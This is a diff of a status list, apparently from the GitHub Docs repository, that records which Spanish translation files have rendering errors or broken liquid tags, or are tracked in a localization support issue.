-translations/es-ES/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error
 translations/es-ES/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,Listed in localization-support#489
-translations/es-ES/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error
-translations/es-ES/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md,rendering error
-translations/es-ES/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md,rendering error
-translations/es-ES/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md,rendering error
-translations/es-ES/content/actions/managing-issues-and-pull-requests/index.md,rendering error
-translations/es-ES/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md,rendering error
-translations/es-ES/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md,rendering error
-translations/es-ES/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md,rendering error
-translations/es-ES/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/canceling-a-workflow.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/deleting-a-workflow-run.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/index.md,rendering error
+translations/es-ES/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,broken liquid tags
 translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-workflow.md,Listed in localization-support#489
-translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-workflow.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/reviewing-deployments.md,rendering error
-translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md,rendering error
-translations/es-ES/content/actions/migrating-to-github-actions/index.md,rendering error
-translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md,rendering error
-translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md,rendering error
-translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md,rendering error
-translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md,rendering error
-translations/es-ES/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md,rendering error
-translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md,rendering error
-translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md,rendering error
-translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md,rendering error
-translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/index.md,rendering error
-translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md,rendering error
-translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md,rendering error
-translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md,rendering error
-translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,rendering error
-translations/es-ES/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md,rendering error
-translations/es-ES/content/actions/publishing-packages/about-packaging-with-github-actions.md,rendering error
-translations/es-ES/content/actions/publishing-packages/index.md,rendering error
-translations/es-ES/content/actions/publishing-packages/publishing-docker-images.md,rendering error
-translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-gradle.md,rendering error
-translations/es-ES/content/actions/publishing-packages/publishing-java-packages-with-maven.md,rendering error
-translations/es-ES/content/actions/publishing-packages/publishing-nodejs-packages.md,rendering error
 translations/es-ES/content/actions/quickstart.md,Listed in localization-support#489
-translations/es-ES/content/actions/quickstart.md,rendering error
 translations/es-ES/content/actions/security-guides/automatic-token-authentication.md,Listed in localization-support#489
-translations/es-ES/content/actions/security-guides/automatic-token-authentication.md,rendering error
-translations/es-ES/content/actions/security-guides/encrypted-secrets.md,rendering error
-translations/es-ES/content/actions/security-guides/index.md,rendering error
-translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md,rendering error
-translations/es-ES/content/actions/using-containerized-services/about-service-containers.md,rendering error
-translations/es-ES/content/actions/using-containerized-services/creating-postgresql-service-containers.md,rendering error
-translations/es-ES/content/actions/using-containerized-services/creating-redis-service-containers.md,rendering error
-translations/es-ES/content/actions/using-containerized-services/index.md,rendering error
 translations/es-ES/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,Listed in localization-support#489
-translations/es-ES/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,rendering error
 translations/es-ES/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md,Listed in localization-support#489
-translations/es-ES/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md,rendering error
-translations/es-ES/content/actions/using-github-hosted-runners/index.md,rendering error
-translations/es-ES/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error
-translations/es-ES/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error
+translations/es-ES/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,broken liquid tags
 translations/es-ES/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md,Listed in localization-support#489
-translations/es-ES/content/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise.md,rendering error
 translations/es-ES/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,Listed in localization-support#489
-translations/es-ES/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,rendering error
-translations/es-ES/content/admin/advanced-security/overview-of-github-advanced-security-deployment.md,rendering error
-translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,rendering error
-translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md,rendering error
+translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,broken liquid tags
 translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md,Listed in localization-support#489
-translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md,rendering error
-translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,rendering error
-translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md,rendering error
-translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md,rendering error
-translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md,rendering error
-translations/es-ES/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md,rendering error
-translations/es-ES/content/admin/authentication/index.md,rendering error
-translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md,rendering error
-translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md,rendering error
-translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md,rendering error
-translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md,rendering error
-translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md,rendering error
-translations/es-ES/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-network-settings/configuring-tls.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-network-settings/network-ports.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/index.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,rendering error
-translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md,rendering error
-translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,rendering error
+translations/es-ES/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,broken liquid tags
+translations/es-ES/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,broken liquid tags
+translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,broken liquid tags
+translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,broken liquid tags
+translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,broken liquid tags
 translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,Listed in localization-support#489
-translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,rendering error
-translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,rendering error
-translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,rendering error
-translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md,rendering error
 translations/es-ES/content/admin/enterprise-management/caching-repositories/about-repository-caching.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-management/caching-repositories/about-repository-caching.md,rendering error
 translations/es-ES/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md,rendering error
 translations/es-ES/content/admin/enterprise-management/caching-repositories/index.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-management/caching-repositories/index.md,rendering error
-translations/es-ES/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md,rendering error
-translations/es-ES/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md,rendering error
-translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md,rendering error
+translations/es-ES/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md,broken liquid tags
 translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-geo-replication.md,rendering error
 translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,rendering error
 translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error
-translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md,rendering error
 translations/es-ES/content/admin/enterprise-management/index.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-management/index.md,rendering error
-translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,rendering error
-translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md,rendering error
-translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error
+translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,broken liquid tags
 translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,rendering error
 translations/es-ES/content/admin/enterprise-support/overview/about-github-enterprise-support.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-support/overview/about-github-enterprise-support.md,rendering error
+translations/es-ES/content/admin/enterprise-support/overview/about-github-enterprise-support.md,broken liquid tags
 translations/es-ES/content/admin/enterprise-support/overview/about-support-for-advanced-security.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-support/overview/about-support-for-advanced-security.md,rendering error
 translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,rendering error
 translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,Listed in localization-support#489
-translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,rendering error
 translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,Listed in localization-support#489
-translations/es-ES/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,rendering error
 translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,Listed in localization-support#489
-translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,rendering error
 translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,Listed in localization-support#489
-translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,rendering error
-translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,rendering error
-translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,rendering error
-translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,rendering error
-translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md,rendering error
-translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md,rendering error
-translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,rendering error
-translations/es-ES/content/admin/github-actions/index.md,rendering error
-translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,rendering error
 translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,Listed in localization-support#489
-translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,rendering error
-translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md,rendering error
 translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,Listed in localization-support#489
-translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,rendering error
-translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md,rendering error
 translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,Listed in localization-support#489
-translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,rendering error
-translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error
-translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md,rendering error
 translations/es-ES/content/admin/guides.md,Listed in localization-support#489
-translations/es-ES/content/admin/guides.md,rendering error
-translations/es-ES/content/admin/index.md,rendering error
-translations/es-ES/content/admin/installation/index.md,rendering error
-translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md,rendering error
-translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,rendering error
-translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md,rendering error
-translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md,rendering error
-translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md,rendering error
-translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md,rendering error
-translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md,rendering error
 translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,Listed in localization-support#489
-translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,rendering error
 translations/es-ES/content/admin/overview/about-enterprise-accounts.md,Listed in localization-support#489
-translations/es-ES/content/admin/overview/about-enterprise-accounts.md,rendering error
-translations/es-ES/content/admin/overview/about-the-github-enterprise-api.md,rendering error
-translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md,rendering error
+translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md,broken liquid tags
 translations/es-ES/content/admin/overview/creating-an-enterprise-account.md,Listed in localization-support#489
-translations/es-ES/content/admin/overview/creating-an-enterprise-account.md,rendering error
 translations/es-ES/content/admin/overview/index.md,Listed in localization-support#489
-translations/es-ES/content/admin/overview/index.md,rendering error
-translations/es-ES/content/admin/overview/system-overview.md,rendering error
 translations/es-ES/content/admin/packages/enabling-github-packages-with-minio.md,Listed in localization-support#489
-translations/es-ES/content/admin/packages/enabling-github-packages-with-minio.md,rendering error
-translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,rendering error
-translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md,rendering error
-translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,rendering error
-translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md,rendering error
-translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md,rendering error
-translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md,rendering error
-translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md,rendering error
+translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md,broken liquid tags
 translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md,Listed in localization-support#489
-translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md,rendering error
 translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,Listed in localization-support#489
-translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,rendering error
-translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/index.md,rendering error
-translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md,rendering error
-translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md,rendering error
-translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md,rendering error
-translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md,rendering error
+translations/es-ES/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,broken liquid tags
 translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md,Listed in localization-support#489
-translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md,rendering error
 translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md,Listed in localization-support#489
-translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md,rendering error
 translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/index.md,Listed in localization-support#489
-translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/index.md,rendering error
 translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md,Listed in localization-support#489
-translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md,rendering error
-translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,rendering error
-translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md,rendering error
-translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,rendering error
+translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,broken liquid tags
+translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,broken liquid tags
 translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md,Listed in localization-support#489
-translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md,rendering error
 translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,Listed in localization-support#489
-translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,rendering error
-translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md,rendering error
 translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,Listed in localization-support#489
-translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md,rendering error
-translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md,rendering error
-translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,rendering error
-translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md,rendering error
-translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md,rendering error
-translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/index.md,rendering error
-translations/es-ES/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md,rendering error
-translations/es-ES/content/authentication/connecting-to-github-with-ssh/about-ssh.md,rendering error
 translations/es-ES/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md,Listed in localization-support#489
-translations/es-ES/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md,rendering error
 translations/es-ES/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md,Listed in localization-support#489
-translations/es-ES/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md,rendering error
-translations/es-ES/content/authentication/connecting-to-github-with-ssh/index.md,rendering error
-translations/es-ES/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md,rendering error
-translations/es-ES/content/authentication/index.md,rendering error
 translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md,Listed in localization-support#489
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md,rendering error
 translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,Listed in localization-support#489
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,rendering error
 translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md,Listed in localization-support#489
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/index.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md,rendering error
 translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,Listed in localization-support#489
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md,rendering error
-translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,rendering error
 translations/es-ES/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,Listed in localization-support#489
-translations/es-ES/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,rendering error
-translations/es-ES/content/authentication/managing-commit-signature-verification/index.md,rendering error
-translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md,rendering error
-translations/es-ES/content/authentication/managing-commit-signature-verification/signing-tags.md,rendering error
-translations/es-ES/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md,rendering error
-translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md,rendering error
-translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md,rendering error
-translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md,rendering error
-translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md,rendering error
-translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md,rendering error
-translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md,rendering error
-translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md,rendering error
-translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md,rendering error
-translations/es-ES/content/authentication/troubleshooting-commit-signature-verification/index.md,rendering error
-translations/es-ES/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md,rendering error
 translations/es-ES/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md,Listed in localization-support#489
-translations/es-ES/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md,rendering error
-translations/es-ES/content/authentication/troubleshooting-ssh/error-unknown-key-type.md,rendering error
-translations/es-ES/content/authentication/troubleshooting-ssh/index.md,rendering error
-translations/es-ES/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md,rendering error
-translations/es-ES/content/billing/index.md,rendering error
 translations/es-ES/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md,Listed in localization-support#489
-translations/es-ES/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md,rendering error
 translations/es-ES/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,Listed in localization-support#489
-translations/es-ES/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,rendering error
